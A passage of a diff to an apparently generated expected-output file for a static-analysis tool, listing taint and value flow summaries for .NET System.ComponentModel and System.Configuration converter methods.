System.ComponentModel;DateTimeOffsetConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;DateTimeOffsetConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;DecimalConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;DecimalConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;DecimalConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;DecimalConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;DecimalConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;DecimalConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;DefaultBindingPropertyAttribute;DefaultBindingPropertyAttribute;(System.String);Argument[0];Argument[this].Property[System.ComponentModel.DefaultBindingPropertyAttribute.Name];value;dfc-generated | | System.ComponentModel;DefaultEventAttribute;DefaultEventAttribute;(System.String);Argument[0];Argument[this].Property[System.ComponentModel.DefaultEventAttribute.Name];value;dfc-generated | | System.ComponentModel;DefaultPropertyAttribute;DefaultPropertyAttribute;(System.String);Argument[0];Argument[this].Property[System.ComponentModel.DefaultPropertyAttribute.Name];value;dfc-generated | @@ -8821,8 +8911,12 @@ summary | System.ComponentModel;EnumConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;EnumConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;EnumConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;EnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;EnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;EnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;EnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;EnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;EnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;EnumConverter;GetStandardValues;(System.ComponentModel.ITypeDescriptorContext);Argument[this].Property[System.ComponentModel.EnumConverter.Values];ReturnValue;value;df-generated | | System.ComponentModel;EnumConverter;GetStandardValues;(System.ComponentModel.ITypeDescriptorContext);Argument[this].Property[System.ComponentModel.EnumConverter.Values];ReturnValue;value;dfc-generated | | System.ComponentModel;EnumConverter;GetStandardValues;(System.ComponentModel.ITypeDescriptorContext);Argument[this];ReturnValue;taint;df-generated | @@ -8856,8 +8950,12 @@ summary | System.ComponentModel;GuidConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;GuidConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;GuidConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;GuidConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;GuidConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;GuidConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;GuidConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;GuidConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;GuidConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;HandledEventHandler;BeginInvoke;(System.Object,System.ComponentModel.HandledEventArgs,System.AsyncCallback,System.Object);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | | System.ComponentModel;IBindingList;ApplySort;(System.ComponentModel.PropertyDescriptor,System.ComponentModel.ListSortDirection);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel;IBindingList;Find;(System.ComponentModel.PropertyDescriptor,System.Object);Argument[this].Element;ReturnValue;value;manual | @@ -8952,8 +9050,12 @@ summary | System.ComponentModel;MemberDescriptor;get_Attributes;();Argument[this];ReturnValue;taint;df-generated | | System.ComponentModel;MemberDescriptor;get_DisplayName;();Argument[this].SyntheticField[System.ComponentModel.MemberDescriptor._displayName];ReturnValue;value;dfc-generated | | System.ComponentModel;MemberDescriptor;get_Name;();Argument[this].SyntheticField[System.ComponentModel.MemberDescriptor._name];ReturnValue;value;dfc-generated | +| System.ComponentModel;MultilineStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;MultilineStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;MultilineStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;MultilineStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;MultilineStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;MultilineStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;MultilineStringConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | | System.ComponentModel;NestedContainer;CreateSite;(System.ComponentModel.IComponent,System.String);Argument[1];ReturnValue.SyntheticField[System.ComponentModel.NestedContainer+Site._name];value;dfc-generated | | System.ComponentModel;NestedContainer;CreateSite;(System.ComponentModel.IComponent,System.String);Argument[this];ReturnValue.SyntheticField[System.ComponentModel.Container+Site.Container];value;dfc-generated | @@ -8964,9 +9066,14 @@ summary | System.ComponentModel;NullableConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;NullableConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;NullableConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;NullableConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;df-generated | | System.ComponentModel;NullableConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;dfc-generated | +| System.ComponentModel;NullableConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;NullableConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;NullableConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;NullableConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;NullableConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;NullableConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;NullableConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | | System.ComponentModel;NullableConverter;GetStandardValues;(System.ComponentModel.ITypeDescriptorContext);Argument[this];ReturnValue;taint;df-generated | | System.ComponentModel;ProgressChangedEventArgs;ProgressChangedEventArgs;(System.Int32,System.Object);Argument[1];Argument[this].SyntheticField[System.ComponentModel.ProgressChangedEventArgs._userState];value;dfc-generated | @@ -9044,8 +9151,12 @@ summary | System.ComponentModel;ReferenceConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;ReferenceConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;ReferenceConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;ReferenceConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;ReferenceConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;ReferenceConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;ReferenceConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;ReferenceConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;ReferenceConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;ReferenceConverter;GetStandardValues;(System.ComponentModel.ITypeDescriptorContext);Argument[this];ReturnValue;taint;df-generated | | System.ComponentModel;RefreshEventArgs;RefreshEventArgs;(System.Object);Argument[0];Argument[this].Property[System.ComponentModel.RefreshEventArgs.ComponentChanged];value;dfc-generated | | System.ComponentModel;RefreshEventHandler;BeginInvoke;(System.ComponentModel.RefreshEventArgs,System.AsyncCallback,System.Object);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | @@ -9059,13 +9170,21 @@ summary | System.ComponentModel;TimeOnlyConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;TimeOnlyConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;TimeOnlyConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;TimeOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;TimeOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;TimeOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;TimeOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;TimeOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;TimeOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;TimeSpanConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;TimeSpanConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;TimeSpanConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;TimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;TimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;TimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;TimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;TimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;TimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;ToolboxItemAttribute;ToolboxItemAttribute;(System.String);Argument[0];Argument[this].SyntheticField[System.ComponentModel.ToolboxItemAttribute._toolboxItemTypeName];value;dfc-generated | | System.ComponentModel;ToolboxItemAttribute;get_ToolboxItemTypeName;();Argument[this].SyntheticField[System.ComponentModel.ToolboxItemAttribute._toolboxItemTypeName];ReturnValue;value;dfc-generated | | System.ComponentModel;ToolboxItemFilterAttribute;ToString;();Argument[this].Property[System.ComponentModel.ToolboxItemFilterAttribute.FilterString];ReturnValue;taint;dfc-generated | @@ -9087,18 +9206,25 @@ summary | System.ComponentModel;TypeConverter;ConvertFromString;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.String);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;TypeConverter;ConvertFromString;(System.ComponentModel.ITypeDescriptorContext,System.String);Argument[1];ReturnValue;value;dfc-generated | | System.ComponentModel;TypeConverter;ConvertFromString;(System.String);Argument[0];ReturnValue;value;dfc-generated | +| System.ComponentModel;TypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;TypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;TypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;TypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | -| System.ComponentModel;TypeConverter;ConvertTo;(System.Object,System.Type);Argument[0];ReturnValue;taint;df-generated | +| System.ComponentModel;TypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;TypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;TypeConverter;ConvertTo;(System.Object,System.Type);Argument[0];ReturnValue;value;df-generated | | System.ComponentModel;TypeConverter;ConvertTo;(System.Object,System.Type);Argument[this];ReturnValue;taint;df-generated | -| System.ComponentModel;TypeConverter;ConvertToInvariantString;(System.ComponentModel.ITypeDescriptorContext,System.Object);Argument[1];ReturnValue;taint;df-generated | +| System.ComponentModel;TypeConverter;ConvertToInvariantString;(System.ComponentModel.ITypeDescriptorContext,System.Object);Argument[1];ReturnValue;value;df-generated | | System.ComponentModel;TypeConverter;ConvertToInvariantString;(System.ComponentModel.ITypeDescriptorContext,System.Object);Argument[this];ReturnValue;taint;df-generated | -| System.ComponentModel;TypeConverter;ConvertToInvariantString;(System.Object);Argument[0];ReturnValue;taint;df-generated | +| System.ComponentModel;TypeConverter;ConvertToInvariantString;(System.Object);Argument[0];ReturnValue;value;df-generated | | System.ComponentModel;TypeConverter;ConvertToInvariantString;(System.Object);Argument[this];ReturnValue;taint;df-generated | +| System.ComponentModel;TypeConverter;ConvertToString;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;df-generated | | System.ComponentModel;TypeConverter;ConvertToString;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;dfc-generated | -| System.ComponentModel;TypeConverter;ConvertToString;(System.ComponentModel.ITypeDescriptorContext,System.Object);Argument[1];ReturnValue;taint;df-generated | +| System.ComponentModel;TypeConverter;ConvertToString;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;TypeConverter;ConvertToString;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;TypeConverter;ConvertToString;(System.ComponentModel.ITypeDescriptorContext,System.Object);Argument[1];ReturnValue;value;df-generated | | System.ComponentModel;TypeConverter;ConvertToString;(System.ComponentModel.ITypeDescriptorContext,System.Object);Argument[this];ReturnValue;taint;df-generated | -| System.ComponentModel;TypeConverter;ConvertToString;(System.Object);Argument[0];ReturnValue;taint;df-generated | +| System.ComponentModel;TypeConverter;ConvertToString;(System.Object);Argument[0];ReturnValue;value;df-generated | | System.ComponentModel;TypeConverter;ConvertToString;(System.Object);Argument[this];ReturnValue;taint;df-generated | | System.ComponentModel;TypeConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object);Argument[1];ReturnValue;taint;df-generated | | System.ComponentModel;TypeConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | @@ -9132,15 +9258,23 @@ summary | System.ComponentModel;TypeListConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;TypeListConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;TypeListConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;TypeListConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;TypeListConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;TypeListConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;TypeListConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;TypeListConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;TypeListConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;TypeListConverter;GetStandardValues;(System.ComponentModel.ITypeDescriptorContext);Argument[this];ReturnValue;taint;df-generated | | System.ComponentModel;TypeListConverter;TypeListConverter;(System.Type[]);Argument[0].Element;Argument[this];taint;df-generated | | System.ComponentModel;VersionConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;VersionConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;VersionConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;VersionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;VersionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;VersionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;VersionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;VersionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;VersionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;WarningException;GetObjectData;(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext);Argument[this];Argument[0];taint;df-generated | | System.ComponentModel;WarningException;WarningException;(System.String,System.String,System.String);Argument[1];Argument[this].Property[System.ComponentModel.WarningException.HelpUrl];value;dfc-generated | | System.ComponentModel;WarningException;WarningException;(System.String,System.String,System.String);Argument[2];Argument[this].Property[System.ComponentModel.WarningException.HelpTopic];value;dfc-generated | @@ -9248,8 +9382,12 @@ summary | System.Configuration;CommaDelimitedStringCollectionConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Configuration;CommaDelimitedStringCollectionConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Configuration;CommaDelimitedStringCollectionConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration;CommaDelimitedStringCollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Configuration;CommaDelimitedStringCollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Configuration;CommaDelimitedStringCollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Configuration;CommaDelimitedStringCollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Configuration;CommaDelimitedStringCollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Configuration;CommaDelimitedStringCollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Configuration;ConfigXmlDocument;CreateAttribute;(System.String,System.String,System.String);Argument[0];ReturnValue;taint;df-generated | | System.Configuration;ConfigXmlDocument;CreateAttribute;(System.String,System.String,System.String);Argument[0];ReturnValue;taint;dfc-generated | | System.Configuration;ConfigXmlDocument;CreateAttribute;(System.String,System.String,System.String);Argument[1];ReturnValue;taint;df-generated | @@ -9451,8 +9589,12 @@ summary | System.Configuration;GenericEnumConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Configuration;GenericEnumConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Configuration;GenericEnumConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration;GenericEnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Configuration;GenericEnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Configuration;GenericEnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Configuration;GenericEnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| 